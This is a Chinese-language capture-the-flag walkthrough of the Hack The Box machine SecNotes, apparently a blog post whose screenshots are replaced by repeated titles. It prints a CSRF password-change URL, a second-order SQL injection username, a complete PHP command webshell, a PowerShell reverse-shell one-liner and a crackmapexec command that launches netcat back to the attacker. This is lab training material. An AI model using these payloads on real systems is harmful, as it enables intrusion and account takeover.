> 文章列表 > HTB-SecNotes

HTB-SecNotes

HTB-SecNotes

HTB-SecNotes

  • 信息收集
    • 8808端口
    • 80端口
      • 通过CSRF获取
      • 通过二次注入
  • 立足
  • tyler -> administrator

HTB-SecNotes

信息收集

HTB-SecNotes
HTB-SecNotes

8808端口

Windows IIS 10.0
HTB-SecNotes
可以从官方文档查看10.0版本可能的操作系统。

HTB-SecNotes

80端口

通过CSRF获取

HTB-SecNotes

目录扫描发现需要登陆后继续进一步操作啊。
HTB-SecNotes
对其进行简单的SQL注入测试。此外还发现如果没有此账号会出现No account found with that username.可以借机来判断拥有哪些用户。
HTB-SecNotes
此外还有一个注册业务。
HTB-SecNotes
HTB-SecNotes

由于GDPR,所有用户必须删除任何包含个人身份信息(PII)的注释。
如有任何问题,请使用下面的联系链接联系tyler@secnotes.htb。

从这段话里能收获一个用户tyler。
接着测试一下New Note功能。
HTB-SecNotes

HTB-SecNotes
哈,我干了啥?
HTB-SecNotes

暂不清楚还是小心为妙,去验证一下tyler是否存在,如果存在就会说明密码不可用。
HTB-SecNotes

OK,现在有两个问题。一是如果目标是用的是关系数据库比如Mysql等,可以考虑从登录的select语句、注册用户的insert语句、修改密码的update语句注入。二是如果目标是用的NoSQL,那么可以考虑利用正则表达获取密码。
此外我还发现如果操作过快,比如点击修改密码后快速返回上一个页面就会触发检测器。

HTB-SecNotes

根据前面目录扫描结果判断为NoSQL可能性较高,当然也可能是障眼法引诱我掉入兔子洞。

HTB-SecNotes
HTB-SecNotes

先试试在登录处NoSQL吧。
HTB-SecNotes
可能注册和登录会有一个二次注入不过等会再试,还剩下一个联系我们。
HTB-SecNotes
随便输入后提交。

HTB-SecNotes

HTB-SecNotes
在测试时发现如果发送文字内包含了一个链接,那么目标的某个脚本回访回访问连接。

HTB-SecNotes

连接被访问。
HTB-SecNotes
可以试试CSRF(Cross Site Request Forgery)跨站点请求伪造。简单来说就是让目标点击恶意网站并执行构造好的脚本。当前环境下目标不想做的恐怕就是修改密码了。所以来构造一个使目标修改密码的payload。
HTB-SecNotes
试试转化为GET能否发送。
HTB-SecNotes
答案显而易见。
HTB-SecNotes
payload如下:

http://10.10.10.97/change_pass.php?password=123456&confirm_password=123456&submit=submit

利用Contact Us发送XSRF payload。
HTB-SecNotes
利用成功,使用tyler:123456登录目标。

HTB-SecNotes

通过二次注入

注册用户’or 1=1#后登录。注册了一个用户 'or 1=1#,进入select语句 select notes from table where username = '‘or 1=1#’HTB-SecNotes

有三个Note,分别是迷你的粘性面包的配方、年份、还有tyler / 92g!mA8BGjOirkL%OG*&
HTB-SecNotes
使用获取的凭证登录smb服务。
HTB-SecNotes
有一个new-site目录我们拥有读写权,这就意味着有机会通过写入webshell或者reverse shell。

HTB-SecNotes
iisstart.htm不就是8808端口的么。

HTB-SecNotes

立足

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?phpif(isset($_GET['cmd'])){system($_GET['cmd']);}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

HTB-SecNotes
使用payload连接。

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.31',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

收集信息。
HTB-SecNotes

tyler -> administrator

在tyler的desktop目录下有一个bash的快捷方式。
HTB-SecNotes
C盘根目录下还有一个Ubuntu的压缩包。
HTB-SecNotes
C根目录下的Distros
HTB-SecNotes
查找刚刚的bash.exe具体在哪里,运行没用。
HTB-SecNotes
搜索全部可能。
HTB-SecNotes
运行还是没有结果。

HTB-SecNotes

可能是因为shell问题。
HTB-SecNotes
使用nc后就正常了。
HTB-SecNotes

HTB-SecNotes
查看linux的历史,发现了管理员账号信息,似乎管理员在把windows上的共享目录挂载到linux上,经过测试发现他确实做到了。
HTB-SecNotes
administrator%u6!4ZwgwOM#^OBf#Nwnh有点乱,试试就知道密码是u6!4ZwgwOM#^OBf#Nwnh,可以通过smbclient直接拿到flag。
HTB-SecNotes

想通过evil-winrm拿到shell,可惜失败了。

HTB-SecNotes
那还有什么办法么,那当然有。可以通过crackmapexec来完成。
HTB-SecNotes

crackmapexec smb 10.10.10.97 -u 'administrator' -p 'u6!4ZwgwOM#^OBf#Nwnh' -X 'C:\\inetpub\\new-site\\nc.exe -e cmd 10.10.14.31 4443'

HTB-SecNotes